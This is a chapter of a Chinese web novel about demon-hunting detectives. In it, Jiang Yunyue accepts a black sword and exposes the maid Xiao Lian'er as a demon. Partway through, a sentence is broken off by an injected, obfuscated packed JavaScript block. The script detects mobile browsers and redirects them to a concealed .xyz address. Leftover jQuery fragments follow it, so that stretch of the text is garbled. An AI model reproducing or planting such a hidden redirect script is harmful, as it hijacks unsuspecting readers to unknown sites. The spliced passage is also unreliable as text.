20. 碎玉(十六)

作品:《带着妖怪去捉妖[探案]

    邵正用炼玄鞭把那把漆黑的剑勾了下来。


    剑落地时,发出沉闷的响声。


    姜云月和邵正蹲在地上,头抵着头,一齐看向这把剑。


    剑柄长八寸,剑身长约四尺,通体漆黑,这种黑与炼玄鞭的黑不同,炼玄鞭是黑而亮,而这把剑的黑,是沉寂的,比墨更浓,夜明珠的光没能在它身上留下任何痕迹。


    若用它制敌,对方怕是分不清先来的是剑光,还是夜色。


    “你试试?”邵正问姜云月。


    姜云月点点头,伸手向下,握住剑柄。


    ……好轻,太轻了,像纸片一样。


    姜云月拎起剑,翻来覆去地看,也不知道这把剑是用什么材料做的,在这种厚度约一寸的情况下的,居然能拥有这么轻的重量。


    “合适吗?”邵正问。


    “……还行,有点太轻了,不好使力,适应一下应该可以。”姜云月提着剑,站得有些局促,“我现在什么都没有。”


    “什么?”


    姜云月有些不好意思:“我拿了你家的武器,但没有能与你交换的东西。”


    “现在才来跟我客气,是不是有点太晚了?”邵正笑笑,“往后你行走江湖,别篡改它的名字就行。”


    “它叫什么名字?”姜云月仔细端详着剑身,好神奇,在知道这把剑有名字的时候,她居然感觉到这把剑活了起来。


    名字,是人族赋予物件的感情。


    “我爹说,是叫……明光。”


    姜云月:“……”真是和本体完全没有任何相似性的名字呢!


    邵正脸上有着释然的笑:“若我没有猜错的话,这把剑原先是我爹准备留给我的,可惜我不太会使剑,现在将它转赠给你,也不算是违背先人的意愿。”


    姜云月也不客气,她现在也没有客气的资本,两手空空的还推诿,未免太虚伪了些。


    “那我就收下了,邵正,多谢。”姜云月双手合拢,郑重地对邵正拜了一拜。


    离开暗室的时候,姜云月扭头向后望去:“邵正,我总觉得这里面少了什么东西。”


    “有吗?”邵正没太在意,她看不到妖怪,可姜云月能看到,这么短的时间,没有人或者妖能无声无息地在她们俩眼皮子底下拿出去东西。


    “是的,但我不知道是什么。”姜云月轻轻地叹了一口气,“也许是我的错觉吧。”


    两人从暗室里出来的时候,院子里站着两个不速之客。


    霍风抱着他那根棍子,倚在院子中间的树干上,在他的身旁,站着一身素服的张婉柔。


    月光下,张婉柔脸冷的像冰,表情阴森的像鬼。


    邵正脸色一变,挡在姜云月身前:“沉不住气的人来了。”


    张婉柔看着刚从暗室里出来的,狼狈的二人,无声地笑了。


    “邵军爷,我听闻,说槐县有妖的,就是你身后这位小娘子呢。”张婉柔的声音依旧尖锐刻薄,她挑起眼角,眼神越过邵正,与她身后的姜云月对视。


    邵正和姜云月都没说话。


    张婉柔又笑了,她捂住自己心口:“人家真的好怕怕,小娘子,你说,那妖是谁啊?”


    姜云月一直在看张婉柔,看她嘲弄的眉眼,看她不屑的嘴角,看她眼里那一抹隐隐的担忧。


    “张婉柔,你装得累吗?”她在邵正身后开口。


    邵正立马抽出炼玄鞭,摆好架势,那一头的霍风看到她这样,也把棍子握在了手中。


    邵正眉头一皱:“霍风,你身为捉妖师,居然跟妖怪站在一边。”


    霍风手腕一动,挽了个漂亮的棍花:“谁给银钱我就听谁的,现在她是我的主家。”


    张婉柔听到邵正的话,捂着嘴笑了:“邵军爷,你和你家小娘子查出来的妖怪是我啊?”


    一头乌黑的发被盘在头顶,张婉柔只戴着一支素簪,姜云月看着那簪子,不知怎的,突然想起来杨路章娘亲头上的那根流云玉簪。


    “不是你。”她在邵正身后开口。


    邵正和张婉柔的脸上都有些愕然,特别是邵正,她架势都摆好了,姜云月又说不是张婉柔?


    张婉柔更是让人摸不着头脑,原本邵正以为,张婉柔在听到姜云月说妖怪不是自己的时候,就算不会窃喜,也会放松,没想到她看起来更紧张了。


    “你说什么?”张婉柔往前走了两步,目光炯炯地盯着姜云月,“你可要想好了。”


    “我早就想好了,妖怪不是你,凶手也不是你。”姜云月提着明光剑从邵正身后走出,“又或许,这件事情,根本就没有凶手?”


    邵正:“……”她俩不是每天都在一起吗?为什么姜云月说的话她听都听不懂啊!


    没有凶手?怎么会没有凶手?那老妇胸口明晃晃的,那么大一个伤口……


    而且姜云月自己也说了,这件事是妖干的,为什么现在又说没有凶手?


    一时间,屋子里陷入寂静,谁都没有再说话。


    “说实话,我宁愿这件案子里有凶手。”姜云月打破了沉默,“至少这样,老人走的时候,才不至于那么心灰意冷。”


    月光将张婉柔的身影拉长又拉长,素白的人,瘦长的影子,凌厉的声音:“小娘子,你可要想好了,真要蹚这趟浑水?”


    姜云月摸了摸裙腰里的碎玉,现在才来问淌不淌的,看来张婉柔也不知道她早已身在局中了。


    “张婉柔,你希望我说凶手是你,希望我说妖怪是你,这样就能证明,我还没有窥见真相,是不是?”姜云月一步步走向院子中间那个强撑着的身影。


    张婉柔的脸色比月色还白:“我听不懂你在说什么。”


    “都到这种时候了,就别装了吧,在你遣散家仆的时候,在你将自己娘亲气回娘家的时候,在你骗你爹。”姜云月走到张婉柔身边,直视着她那双不停闪烁的眼睛,“你就是妖,好让他不敢报官的时候。”


    “你在想什么呢?张婉柔。”


    邵正自以为自己的听觉没有问题,语言也没有障碍,可是为什么,姜云月说的每个字她都能听懂,连在一起就听不懂了。


    “你的衣服上有灰,脖颈后面还流着汗,怕是刚处理完家中的事情,就忙不迭地带着霍风跑过来了,霍风不是来对付我们的,而是来保护我们的,你怕有人赶在你前头,杀人灭口。”


    姜云月拿起张婉柔胸前的那缕青丝,“张婉柔,你的心要是有你的嘴那么硬就好了。”


    张婉柔后退一步:“我……”


    “别再说谎了,小莲儿早就不是人了,对吗?”姜云月轻飘飘的一句话,堵住了院


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056701|179139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子里三个人的嘴。


    邵正:谁?小莲儿?那个看着柔柔弱弱,笑起来还有两个酒窝的小莲儿?


    张婉柔脸上那张故作强硬的面具终于裂开了缝,她的眼瞳惊慌地颤抖着:“你什么时候知道的?”


    什么时候?姜云月垂眸想了想,大概是在第一次去往杨氏布庄的时候就发现了不对劲吧。


    虽然说这个世界和姜云月认知里的古代不同,但长幼尊卑还是有别的,当时,杨氏布庄里的所有下人都穿着粗布麻衣,只有小莲儿穿着衣料上乘的藕粉色衣衫,精致又低调的刺绣从领口一直绣到了裙摆。


    当时她觉得,这个下人可能只是和主家关系比较好。


    直到当天晚上,她和小莲儿在茶坊里见面,小莲儿应当是许久没有吃过亏了,在她哭诉自己脸上的掌印是被一两个时辰前回家的张婉柔打的时候,她没有注意到,那些通红,就在短短一盏茶的时间里消退了下去。


    为了装可怜,特意在见面前打了自己一巴掌,就连这,也舍不得下狠手。


    确认是在张宅里,张员外高风亮节,连无故打骂都不许,又怎么会教出张婉柔表面上的这副性子?而且,他看到闯入的姜云月的时候,第一句话是“害了婉柔”。


    当时张婉柔并不在,为什么张员外在家中看到闯入者的时候会认为张婉柔已经被害了?那是因为,张婉柔告诉她爹,她被妖怪夺舍了,清醒的时间有限,所以张员外才会对张婉柔言听计从。


    若妖怪独自闯入家中,那被夺舍的人自然是已经死了。


    张婉柔肯定是没有被夺舍的,之所以这样说,是因为如果她直接告诉张员外,妖怪另有其人,按照张员外对女儿的宝贝程度,就算那妖怪是自己的亲女婿,他也会毫不犹豫的报官。


    偏偏是亲骨肉,才会咬着牙,忍着痛,跟一群老弱病残一起,在老宅里提心吊胆地过。


    想通这些之后,姜云月再回想第一次进入杨氏布庄时的景象,越发觉得,当时后院的一切,都是小莲儿做的一个局,所有人的反应都是为了向她证明——


    杨氏布庄的大掌柜张婉柔是一个刻薄的女人,她不正常。


    邵正的嘴巴已经张大了,短短几日,这姜云月竟然能将一切都串联起来!


    张婉柔听完姜云月的推理,长出了一口气:“说到底,不过是你的猜测而已。”


    “我也觉得是这样,因为有几件事我一直想不通。”姜云月认真地看着张婉柔垂下来的肩膀,这几年她怕是不太好过,却都靠自己撑过来了,实在是令人佩服。


    “小莲儿是妖,自然是有多种方法能整治你,为什么表面上,她还要对你卑躬屈膝?还有就是,伪装成杨路章他娘生活在杨氏布庄的,应该是与小莲儿一道的妖怪,而让尸体出现在人前的,则不是,张婉柔,你知道后面这件事是谁做的吗?”


    院子里的温度骤然变冷,地面上卷起风旋,树叶沙沙地叫着,发丝飞起又落下。


    “呀!客官,还是能没瞒过你。”


    姜云月抬头,看到小莲儿端坐在屋顶上,双手撑着下巴,笑得天真。


    “我以为万无一失了,可杨郎还是担心,没办法,我只能过来看看,没想到,你真的查到了我身上。”小莲儿嘟着嘴巴,伸了个懒腰,“真可惜呀,你活不了啦!”